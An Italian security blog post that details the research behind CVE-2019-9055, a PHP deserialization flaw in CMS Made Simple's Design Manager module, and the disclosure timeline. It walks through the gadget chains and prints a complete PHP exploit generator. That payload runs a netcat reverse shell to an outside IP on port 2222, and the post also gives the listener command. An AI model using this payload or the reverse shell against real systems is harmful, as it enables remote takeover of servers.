Security

CMS Made Simple deserialization attack (CVE-2019-9055)

Dalla gestione degli errori a RCE

Daniele Scanu Gennaio, 2020

 Un payload appositamente creato concatenando diversi oggetti permette ad un attaccante di ottenere RCE (Remote Code Execution) tramite deserializzazione in CMS Made Simple, sfruttando il CVE 2019-9055.

Impatti

In CMS Made Simple esistono tre gruppi o ruoli: Admin, Editor e Designer. Un attaccante con i permessi di Admin o Designer può abusare del modulo Design Manager, utile alla gestione del layout del CMS, per ottenere RCE. Questo è causato da una vulnerabilità di PHP deserialization. Al fine di ottenere Remote Code Execution, l'attaccante può modificare la richiesta di export di un layout (export multiple templates to files) con un payload che gli consenta di mandare in errore l'applicativo ed eseguire quindi la destruct() dell'oggetto contenuto nel payload stesso. La vulnerabilità è presente fino alla versione 2.2.9 del CMS.

Introduzione

Durante un'analisi sul codice sorgente della versione 2.2.9, verificando l'implementazione della funzione unserialize(), abbiamo individuato alcuni metodi alcuni direttamente raggiungibili da parametri di richieste GET o POST. Una volta verificato che si trattasse veramente di vulnerabilità, sono state immediatamente notificate al vendor che le ha prontamente risolte, per poi renderle pubbliche con un CVE ID associato. Di seguito l'elenco delle vulnerabilità individuate in quella sessione di analisi:

Cancellazione arbitraria di file

L'ovvia domanda che ci siamo posti è stata: "è possibile sfruttare le vulnerabilità individuate in un qualche modo?"

Inizialmente abbiamo provato a cercare eventuali implementazioni a funzioni base, invocate normalmente durante il processo di deserializzazione, come ad esempio la __wakeup() o la __destruct(). La nostra attenzione si è subito spostata sul file smarty_internal_template.php (in lib/smarty/sysplugin/) che ha un'interessante implementazione della __destruct(). Inoltre, la classe fa parte del namespace della maggior parte delle classi del CMS ed è utilizzabile da tutte le unserialize() dei CVE sopra elencati.

/**
 * Template data object destructor
 */
public function __destruct()
{
    if ($this->smarty->cache_locking && isset($this->cached) && $this->cached->is_locked) {
      $this->cached->handler->releaseLock($this->smarty, $this->cached);
    }
}

Come è possibile osservare dal codice, all'interno del blocco if c'è la chiamata alla funzione releaseLock() sull'oggetto cached->handler. Cercando la stringa "releaseLock", è stata trovata un'implementazione all'interno del file smarty_internal_cacheresource_file.php, (sempre nella cartella in lib/smarty/sysplugins/) anch'essa presente nel namespace della maggior parte delle classi del CMS.

/**
 * Unlock cache for this template
 *
 * @param Smarty                 $smarty Smarty object
 * @param Smarty_Template_Cached $cached cached object
 *
 * @return bool|void
 */
public function releaseLock(Smarty $smarty, Smarty_Template_Cached $cached)
{
    $cached->is_locked = false;
    @unlink($cached->lock_id);
}

Come è possibile intuire leggendo il codice, la funzione cancella il file specificato nella variabile $lock_id dell'oggetto cached tramite la funzione unlink(). Questa chain ha un impatto molto alto poiché permette la cancellazione di un file arbitrario all'interno del sistema, implicando così la sua indisponibilità.

Tutto molto carino ma non porta a Remote Code Execution o RCE!

Dalla gestione degli errori a RCE

Per ottenere RCE dovevamo individuare altre possibili chain quindi siamo andati avanti con la nostra ricerca finché non abbiamo trovato la seguente implementazione della funzione __destruct() nel file class.dm_xml_reader.php (in modules/DesignManager/lib/).

public function __destruct()
{
  if( $this->_old_err_handler )
    set_error_handler($this->_old_err_handler);
}

La particolarità di questa implementazione è l'utilizzo della funzione set_error_handler() che imposta una funzione "custom" come handler degli errori, ossia al verificarsi di un errore, viene eseguita la funzione specificata nella variabile $_old_err_handler.

Questa __destruct() può essere utilizzata solo dalla unserialize() del CVE-2019-9055 sul modulo Design Manager poiché è l'unica che ha il namespace in comune.

Ci siamo dunque chiesti: "come possiamo sfruttare questa gestione degli errori per eseguire codice remoto?"

Alla ricerca di un handler

Leggendo la documentazione di PHP, abbiamo scoperto che è possibile passare alla funzione set_error_handler() un array contenente un oggetto e un metodo di tale oggetto. Però, per fare qualcosa di utile come eseguire codice arbitrario, dobbiamo trovare dei metodi che usino una delle seguenti funzioni: system(), exec(), passthru(), call_user_func(), ecc.

Quindi la nostra ricerca è proseguita fino a trovare una chiamata alla funzione call_user_funct() nel metodo get_template_helptext() della classe CmsLayoutTemplateType (in lib/classes/). Di seguito riportiamo la porzione di codice che ci interessa:

/**
 * Get HTML text for help with respect to the variables available in this template type.
 */
public function get_template_helptext()
{
    $text = null;
    $cb = $this->get_help_callback();
    $originator = $this->get_originator();
    $name = $this->get_name();
    if( $cb && is_callable($cb) ) {
        $text = call_user_func($cb,$name);
        return $text;
    }

    ...
}

La funzione get_template_helptext() ci è sembrata un'ottima candidata, un ottimo anello per la nostra chain. Il payload che andremo a creare la potrà impostare come funzione da eseguire in caso di errore grazie alla set_error_handler() vista in precedenza.

Ora ci occorre controllare la funzione call_user_func(). Come è possibile notare dal codice sopra, la funzione prende in input due variabili: $cb e $name. il contenuto di $cb deriva dalla funzione get_help_callback() che riportiamo di seguito.

/**
 * Return the callback used to retrieve help for this template type.
 *
 * @return mixed
 */
public function get_help_callback()
{
    if( isset($this->_data['help_callback']) ) return $this->_data['help_callback'];
}

Per manipolare la prima variabile, $cb, dobbiamo quindi agire su _data['help_callback'] che è contenuto all'interno dell'oggetto serializzato e di conseguenza può essere modificato arbitrariamente, ad esempio perché contenga il riferimento alla funzione system() (system - Execute an external program and display the output).

Allo stesso modo, la seconda variabile di get_template_helptext(), $name, è controllata dalla funzione get_name() che riportiamo di seguito per comodità:

/**
 * Return the template type name.
 *
 * @return string the template type
 */
public function get_name()
{
    if( isset($this->_data['name']) ) return $this->_data['name'];
}

In questo caso è necessario controllare l'oggetto serializzato _data['name'].

Ottimo! Abbiamo una chain completa e possiamo creare un payload in grado di eseguire comandi arbitrari sul nostro server impostando get_template_helptext() come funzione personalizzata per la gestione degli errori!

Per far sì che il nostro payload venga eseguito ed ottenere RCE è necessario:

  • permettere l'esecuzione della __destruct() in modo che alla set_error_handler() venga impostato il gestore degli errori get_template_helptext().
  • mandare in errore il CMS in qualche punto perché il payload venga eseguito.

Però c'è un problema: la __destruct() viene eseguita quando lo script termina e a quel punto non si ha più controllo sull'esecuzione!

The final payload

Per aggirare il problema è necessario far eseguire la funzione __destruct() prima della fine dello script. Per farlo, è possibile mandare in errore la unserialize() nel momento opportuno. L'idea di base è inserire, dopo la nostra chain, un qualche elemento che mandi in errore il parser della unserialize() eseguendo la __destruct() di tutti gli oggetti precedentemente deserializzati.

Per raggiungere lo scopo ci viene in aiuto il formato con cui il PHP serializza gli oggetti. il sito PHP Internals Book, nella pagina Serialization, descrive il formato con cui vengono serializzati gli oggetti n PHP e i diversi meccanismi con cui vengono deserializzati.

Per i nostri scopi è sufficiente sapere che il formato, per gli array serializzati, prevede l'uso del carattere ; (punto e virgola) come separatore tra un elemento e il successivo. Se creiamo un array composto dai seguenti tre elementi:

  • un'oggetto contenente il payload: O:7:"Payload":0:{}
  • un intero: i:5
  • un altro intero: i:10

L'oggetto serializzato che ne deriva sarà il seguente:

a:3:{i:0;O:7:"Payload":0:{}i:1;i:5;i:2;i:10;}

Se il carattere ; (punto e virgola) viene sostituito con un altro carattere, ad esempio il # (cancelletto), la unserialize() va in errore.

In un oggetto serializzato come il seguente:

a:3:{i:0;O:7:"Payload":0:{}i:1;i:5#i:2;i:10;}

la unserialize() deserializza correttamente l'oggetto "Payload" e il secondo intero, 5, per poi lanciare un errore al momento di deserializzare il terzo elemento, l'interno 10. Sugli oggetti deserializzati prima dell'errore della unserialize() viene quindi eseguita la __destruct().

Di seguito il payload completo che apre una connessione con netcat sulla porta 2222 di una macchina sotto il nostro controllo con il comando :

<?php
  class CmsLayoutTemplateType {
    private $_data;
    public function setData($arr) {
      $this->_data = $arr;
    }
  }

  class dm_xml_reader {
    private $_old_err_handler;
    function __construct($a) {
      $this->_old_err_handler = array($a, 'get_template_helptext');
    }
  }

  $p = new CmsLayoutTemplateType();
  $p->setData(array("help_callback" => "system", "name" => "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.1.100.9 2222 >/tmp/f"));
  $payload = new dm_xml_reader($p);

  echo 'a:3:{i:0;' . serialize($payload) . 'i:1;i:5#i:2;i:5;}';

La shell

A questo punto abbiamo un payload che imposta una funzione per la gestione degli errori definita da noi che a sua volta esegue una funzione che permette di eseguire codice arbitrario. Per sfruttare il payload dobbiamo trovare il modo di mandare in errore il CMS. Questo ci viene facile e gratuito. Osserviamo il codice della vulnerabilità di deserializzazione che dobbiamo sfruttare (quella relativa al CVE-2019-9055):

if( !isset($gCms) ) exit;
if( !$this->VisibleToAdminUser() ) return;
if( isset($params['allparams']) ) $params = array_merge($params,unserialize(base64_decode($params['allparams'])));
$this->SetCurrentTab('templates');

Se inseriamo il nostro payload codificato in Base64 nella variabile POST allparams, questo viene decodificato e passato alla funzione unserialize(). Ma il payload è pensato per mandare in errore la unserialize() che restituirà alla funzione array_merge() il valore null. A questo punto anche la funzione array_merge() andrà in errore in quanto non si aspetta di unire un array valido con un valore nullo. La gestione di questo errore sarà finalmente fatta dalla funzione get_template_helptext(). A questo punto, se ci mettiamo in ascolto sulla porta 2222 ad esempio con nc -lvnp 2222 riceveremo la connessione dal server come nel video all'inizio del post!

Timeline

Data Cosa
13 febbraio 2019 La vulnerabilità è stata scoperta.
18 febbraio 2019 La vulnerabilità è stata segnalata agli sviluppatori.
06 marzo 2019 CMS Made Simple rilascia la patch con la versione 2.2.10.
13 novembre 2019 Viene rilasciato il modulo Metasploit.

Summary

Tutte le vulnerabilità di serializzazione individuate sono state risolte con l'uscita della versione 2.2.10. Infine, noi abbiamo sicuramente imparato qualcosina sulla gestione degli errori ;)

Riferimenti

Articoli correlati

Security

Articoli in evidenza

Approfondimenti

UNISCITI A NOI. INVIA LA TUA CANDIDATURA

Certimeter Group crede nei valori, nella passione e nella professionalità delle persone.